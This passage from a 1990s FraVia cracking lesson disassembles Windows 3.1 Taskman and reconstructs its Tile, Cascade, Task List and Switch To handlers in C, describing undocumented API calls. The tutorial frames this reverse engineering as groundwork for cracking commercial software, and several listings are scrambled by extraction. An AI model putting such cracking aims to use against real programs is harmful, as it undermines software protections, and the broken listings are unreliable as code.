Let's look back at the last block of code... it makes now a lot more sense: ON_COMMAND: ; We are handling WM_COMMAND, therefore wParam is here idItem, ; i.e. a control or menu item identifier 1.022D >8B460A mov ax, wParam ;[bp+0A] 1.0230 3D6800 cmp ax, 0068 ;is it the ID 68h? ... 1.023D >FEC8 dec al ;1=IDOK=IDD_SWITCHTO 1.023F 7420 je ON_SWITCHTO ;0261 1.0241 FEC8 dec al ;1+1=2=ID_CANCEL 1.0243 7503 jne neither_OK_nor_CANCEL ;0248 1.0245 E94701 jmp ON_CANCEL ;038F neither_OK_nor_CANCEL: 1.0248 >2C62 sub al, 62 ;2+62=64= IDD_TASKLIST 1.024A 742A je ON_TASKLIST ;0276 1.024C FEC8 dec al ;64+1=65= IDD_ENDTASK 1.024E 7432 je ON_ENDTASK ;0282 1.0250 2C01 sub al, 01 ;65+1=66= IDD_CASCADE 1.0252 7303 jnb check_for_TILE ;0257 1.0254 E94601 jmp 039D ;something different check_for_TILE: 1.0257 >2C01 sub al, 01 ;66+1=67= IDD_TILE 1.0259 7703 ja 025E ;it's something else
1.025B
E9D200
jmp
ON_TILE_or_CASCADE
;0330
In this way we have identified location 0330 as the place where Taskman's "Cascade" and "Tile" buttons are handled... we have renaimed it ON_TILE_or_CASCADE... let's examine its code and ensure it makes sense: ON_TILE_or_CASCADE: 1.0330 >56 1.0331 6A00 1.0333 9A6F030000
push push call
hwndDlg 0000 USER.SHOWWINDOW
call mov cmp jne push push call jmp
USER.GETDESKTOPWINDOW di, ax ;hDesktopWnd word ptr wParam, 0066 ;IDD_CASCADE ON_TILE ;034F di ;hDesktopWnd 0000 USER.CASCADECHILDWINDOWS 037E
push push call cmp jb mov jmp
di 0010 USER.GETKEYSTATE ax, 8000 0361 ax, 0001 ;1= MDITILE_HORIZONTAL 0363
1.0361 >2BC0
sub
ax, ax
1.0363 >50 1.0364 9AFFFF0000 1.0369 EB13
push call jmp
ax USER.TILECHILDWINDOWS 037E
1.0338 9A74030000 1.033D 8BF8 1.033F 837E0A66 1.0343 750A 1.0345 57 1.0346 6A00 1.0348 9AFFFF0000 1.034D EB2F ON_TILE: 1.034F >57 1.0350 6A10 1.0352 9AFFFF0000 1.0357 3D0080 1.035A 7205 1.035C B80100 1.035F EB02
;si
;0= MDITILE_VERTICAL
Yes, it makes a lot of sense: We have found that the "Cascade" option in Tile manager, after switching through the usual bunch of switch/case loops, finally ends up calling an undocumented Windows API function: CascadeChildWindows()... similarly, the "Tile" routine ends up calling TileChildWindow(). One thing screams for attention in the disassembled listing of ON_TILE: the call to GetKeyState(). As an example of the kind of information you should be able to gather for each of these functions, if you are serious about cracking, I'll give you now here, in extenso, the definition from H. Schildt's "General purpose API functions", Osborne's Windows Programming Series, Vol. 2, 1994 edition (I found both this valuable book and its
companion: volume 3: "Special purpose API functions", in a second hand shop, in february 1996, costing the equivalent of a pizza and a beer!). Besides this function is also at times important for our cracking purposes, and represents therefore a good choice. Here the description from pag.385: void GetKeyState(int iVirKey) Use GetKeyState() to determine the up, down or toggled status of the specified virtual key. iVirKey identifies the virtual key. To return the status of a standard alphanumeric character in the range A-Z, a-z or 0-9, iVirKey must be set equal to its ANSI ASCII value. All other key must use their related virtual key codes. The function returns a value indicating the status of the selected key. If the high-order bit of the byte entry is 1, the virtual key is pressed (down); otherwise it is up. If you examine a byte emlement's low-order bit and find it to be 1, the virtual key has been toggled. A low-order bit of 0 indicates that the key is untoggled. Under Windows NT/Win32, this function returns type SHORT. Usage: If your application needs to distinguish wich ALT, CTRL, or SHIFT key (left or right) has been pressed, iVirKey can be set equal to one of the following: VK_LMENU VK_LCONTROL VK_LSHIFT
VK_RMENU VK_RCONTROL VK_RSHIFT
Setting iVirKey equal to VK_MENU, VK_CONTROL or VK_SHIFT instructs GetKeyState() to ignore left and right, and only to report back the status of teh virtual key category. This ability to distinguish among virtual-key states is only available with GetKeyState() and the related functions listed below. The following fragment obtains the state of the SHIFT key: if(GetKeyState(VK_SHIFT) { ... }
Related Functions: GetAsyncKeyState(), GetKeyboardState(), MapVirtualKey(), SetKeyboardState() Ok, let's go on... so we have in our code a "funny" call to GetKeyState(). Because the Windows USer's Guide says nothing about holding down a "state" (shift/ctrl/alt) key while selecting a button, this sounds like another undocumented "goodie" hidden inside TASKMAN. Indeed, if you try it out on the 3.1 Taskman, you'll see that clicking on the Tile button arranges all the windows on the desktop side by side, but if you hold down the SHIFT key while clicking on the Tile button, the windows are arranged in a stacked formation. To summarize, when the 3.1. Taskman Tile button is selected, the code that runs in response looks like this: Tile: ShowWindow(hWndDlg, SW_HIDE); // hide TASKMAN hDesktopWnd = GetDesktopWindow(); if (GetKeyState(VK_SHIFT) == 0x8000) TileChildWindows(hDesktopWnd, MDITILE_HORIZONTAL); else TileChildWindows(hDesktopWnd, MDITILE_VERTICAL); Similarly, the CASCADE option in 3.1. TASKMAN runs the following code: Cascade: ShowWindow(hWndDlg, SW_HIDE); // hide TASKMAN CAscadeChildWindows(GetDesktopWindow(), 0); We can then proceed through each TASKMAN option like this, rendering the assembly language listing into more concise C. The first field to examine in TASKMAN is the Task List itself: how is the "Task List" Listbox filled with the names of each running application? What the List box clearly shows is a title bar for each visible top level window, and the title bar is undoubtedly supplied with a call to GetWindowText()... a function that obtains a copy of the specified window handle's title. But how does TASKMAN enumerate all the top-level Windows? Taskman exports TASKMANDLGPROC, but does not export any enumeration procedure.
Most of the time Windows programs iterate through all existing windows by calling EnumWindows(). Usually they pass to this function a pointer to an application-supplied enumeration function, which therefore MUST be exported. This callback function must have following prototype: BOOL CALLBACK EnumThreadCB(HWND hWnd, LPARAM lParam) Of course, the name a programmer chooses for such an exported function is arbitrary. hWnd will receive the handle of each threadassociated window.lParam receives lAppData, a 32-bit user- defined value. This exported function must return non-zero to receive the next enumerated thread-based window, or zero to stop the process. But here we DO NOT have something like TASKMANENUMPROC in the list of exported functions... what's going on? Well... for a start TASKMAN IS NOT calling EnumWindows()... Taskman uses a GetWindow() loop to fill the "Task List" list box, study following C muster, sipping a good cocktail and comparing it with the disassembled code you have printed: Task List: listbox = GetDlgItem(hWndDlg, IDD_TASKLIST); hwnd = GetWindow(hwndDlg, GW_HWNDFIRST); while (hwnd) { if ((hwnd != hwndDlg) && //excludes self from list IsWindowVisible(hwnd) && GetWindow(hwnd, GW_OWNER)) char buf[0x50]; GetWindowText(hwnd, buf, 0x50); // get titlebar SendMessage(listbox, LB_SETITEMDATA, SendMessage(listbox, LB_ADDSTRING, 0, buf), hwnd); // store hwnd as data to go } // with the titlebar string hwnd = GetWindow(hwnd, GW_HWNDNEXT); {
} SendMessage(lb, LB_SETCURSEL, 0, 0); // select first item The "End Task" opton in Taskman just sends a WM_CLOSE message to the selected window, but only if it's not a DOS box. TASKMAN uses the undocumented IsWinOldApTask() function, in combination with the documented GetWindowTask() function, to determine if a given HWND corresponds to a DOS box: End Task:
... // boring details omitted if(IsWinOldApTask(GetWindowTask(hwndTarget))) MaybeSwitchToSelecetedWindow(hwndTarget); if(IsWindow(hwndTarget) && (! (GetWindowLong(hwndTarget, GWL 5STYLE) & WS_DISABLED)) { PostMessage(hwndTarget, WM_CLOSE, 0, 0); } The "Arrange Icons" option simply runs the documented ARrangeIconicWindows() function: Arrange Icons: Showwindow(hWndDlg, SW_HIDE); ArrangeIconiCWindows(GetDesktopWindow()); The "Switch To" option in TASKMAN is also interesting. Like "Tile" and "Cascade", this too it's just a user-interface covering an undocupented Windows API function, in this case SwitchToThisWindow(). Let's walk through the process of deciphering a COMPLETELY unlabelled Windows disassembly listing, that will be most of the time your starting situation when you crack, and let's turn it into a labelled C code. By the way, there does exist an interesting school of research, that attempts to produce an "EXE_TO_C" automatical converter. The only cracked version of this program I am aware of is called E2C.EXE, is 198500 bytes long, has been developed in 1991 by "The Austin Code Works and Polyglot International" in Jerusalem (Scott Guthery: guthery@acw.com), and has been boldly brought to the cracking world by Mithrandir/AlPhA/MeRCeNarY. Try to get a copy of this tool... it can be rather interesting for our purposes ;-) Here is the raw WCB disassembled code for a subroutine within TASKMAN, called from the IDD_SWITCHTO handling code in TaskManDlgProc(): 1.0010 >55 1.0011 8BEC 1.0013 57 1.0014 56 1.0015 FF7604 1.0018 681A04 1.001B FF7604 1.001E 680904 1.0021 6A00 1.0023 6A00
push mov push push push push push push push push
bp bp, sp di si word ptr [bp+04] 041A word ptr [bp+04] 0409 0000 0000
1.0025 1.0027 1.002C 1.002D 1.002F 1.0031 1.0036 1.0038 1.0039 1.003E 1.0040 1.0042 1.0043 1.0048 1.004A 1.004B 1.0050 1.0052 1.0054 1.0055 1.0057 1.005C 1.0060 1.0062 1.0063 1.0065 1.006A
6A00 9A32000000 50 6A00 6A00 9AEF010000 8BF8 57 9A4C000000 0BC0 742A 57 9AFFFF0000 8BF0 56 9AA4020000 0BC0 7418 56 6AF0 9ACD020000 F7C20008 750A 56 6A01 9AFFFF0000 EB07
push call push push push call mov push call or je push call mov push call or je push push call test jne push push call jmp
0000 USER.SENDMESSAGE ax 0000 0000 USER.SENDMESSAGE di, ax di USER.ISWINDOW ax, ax 006C di USER.GETLASTACTIVEPOPUP si, ax si USER.ISWINDOW ax, ax 006C si FFF0 USER.GETWINDOWLONG dx, 0800 006C si 0001 USER.SWITCHTOTHISWINDOW 0073
1.006C >6A00 1.006E 9ABC020000
push call
0000 USER.MESSAGEBEEP
1.0073 >5E 1.0074 5F 1.0075 8BE5 1.0077 5D 1.0078 C20200
pop pop mov pop ret
si di sp, bp bp 0002
The RET 0002 at the end tells us that this is a near Pascal function that expects one WORD parameter, which appears as [bp+4] at the top of the code. Because [bp+4] is being used as the first parameter to SendMessage(), it must be an HWND of some sort. Here is the muster for SendMessage(): LRESULT SendMessage(HWND hWnd, UINT uMsg, WPARAM wMsgParam1, LPARAM lMsgParam2), where hWnd identifies the Window receiving the message, uMsg identifies the message being sent, wMsgParam1 & lMsgParam2 contain 16 bits and 32 bits of message-specific information. Finally, we don't see anything being moved into AX or DX near the end
of the function, so it looks as if this function has no return value: void near pascal some_func(HWND hwnd) Let's look once more at it... the function starts off with two nested calls to SendMessage (using the message numbers 41Ah and 409h). These numbers are greater than 400h, they must therefore be WM_USER+XX values. Windows controls such as edit, list and combo boxes all use WM_USER+XX notification codes. The only appropriate control in TASKMAN is the list box, so we can just look at the list of LB_XXX codes in WINDOWS.H. 1Ah is 26 decimal, therefore 41Ah is WM_USER+26, or LB_GETITEMDATA. Let's see what Osborne's "Special Purpose API functions" says about it (pag.752): LB_GETITEMDATA When sent: To return the value associated with a list-box item. wParam: Contains the index to the item in question lParam: Not used, must be 0 Returns: The 32-bit value associated with the item Similarly, 409h is WM_USER+9, which in the case of a list box means LB_GETCURSEL. We saw earlier that TASKMAN uses LB_SETITEMDATA to store each window title's associated HWND. LB_GETITEMDATA will now retrive this hwnd: hwnd = SendMessage(listbox, LB_GETITEMDATA, SendMessage(listbox, LB_GETCURSEL, 0, 0), 0); Notice that now we are caling the parameter to some_func() a listbox, and that the return value from LB_GETITEMDATA is an HWND. How would we know it's an hwnd without our references? We can see the LB_GETITEMDATA return value (in DI) immediatly being passed to IsWindow() at line 1.0039: ; IsWindow(hwnd = SendMessage(...)); 1.0031 9AEF010000 call far ptr SENDMESSAGE 1.0036 8BF8 mov di, ax 1.0038 57 push di 1.0039 9A4C000000 call far ptr ISWINDOW Next, the hwnd is passed to GetLastActivePopup(), and the HWND that GetLastActivePopup() returns is then checked with IsWindow()... IsWindow() returns non-zero if the specified hWnd is valid, and zero
if it is invalid: ; IsWindow(hwndPopup = GetLastActivePopup(hwnd)); 1.0042 57 push di 1.0043 9AFFFF0000 call USER.GETLASTACTIVEPOPUP 1.0048 8BF0 mov si, ax ; save hwndPopup in SI 1.004A 56 push si 1.004B 9AA4020000 call USER.ISWINDOW Next, hwndPopup (in SI) is passed to GetWindowLong(), to get informations about this window. Here is time to look at WINDOWS.H to figure out what 0FFF0h at line 1.055 and 800h at line 1.005C are supposed to mean: ; GetWindowLong(hwndPopup, GWL_STYLE) & WS_DISABLED 1.0054 56 push si ;hwndPopup 1.0055 6AF0 push GWL 5STYLE ;0FFF0h = -16 1.0057 9ACD020000 call USER.GETWINDOWLONG 1.005C F7C20008 test dx, 0800 ;DX:AX= 800:0= WS_DISABLED Finally, as the whole point of this exercise, assuming this checked window passes all its tests, its last active popup is switched to: ; SwitchToRhisWindow(hwndPopup, TRUE) 1.0062 56 push si 1.0063 1.0065
6A01 push 9AFFFF0000 call
;hwndPopup
0001 USER.SWITCHTOTHISWINDOW
It's here that all possible questions START: SwitchToThisWindow is not documented... therefore we do not know the purpose of its second parameter, apparently a BOOL. We cannot even tell why SwitchToThisWindow() is being used... when SetActiveWindow(), SetFocus() or BringWindowToTop() might do the trick. And why is the last active popup and not the window switched to? But let's resume for now our unearthed mysterious function, that will switch to the window selected in the Task List if the window meets all the function's many preconditions: void MaybeSwitchToSelectedWindow(HWND listbox) { HWND hwnd, hwndPopup; // first figure out wich window was selected in the Task List if (IsWindow(hwnd = SendMessage(listbox, LB_GETITEMDATA, SendMessage(listbox, LB_GETCURSEL, 0, 0), 0))) { if (IsWindow(hwndPopup = GetLastActivePopup(hwnd))) { if (! (GetWindowLong(hwndPopup, GWL_STYLE) & WS_DISABLED))
{ SwitchToThisWindow(hwndPopup, TRUE); return; } } MessageBeep(0);
//Still here... error!
} Now we have a good idea of what TASKMAN does (it sure took a long time to understand those 3K bytes of code!). In the next lessons we'll use what we have learned to crack together some common Windows programs. (->lesson 3)
FraVia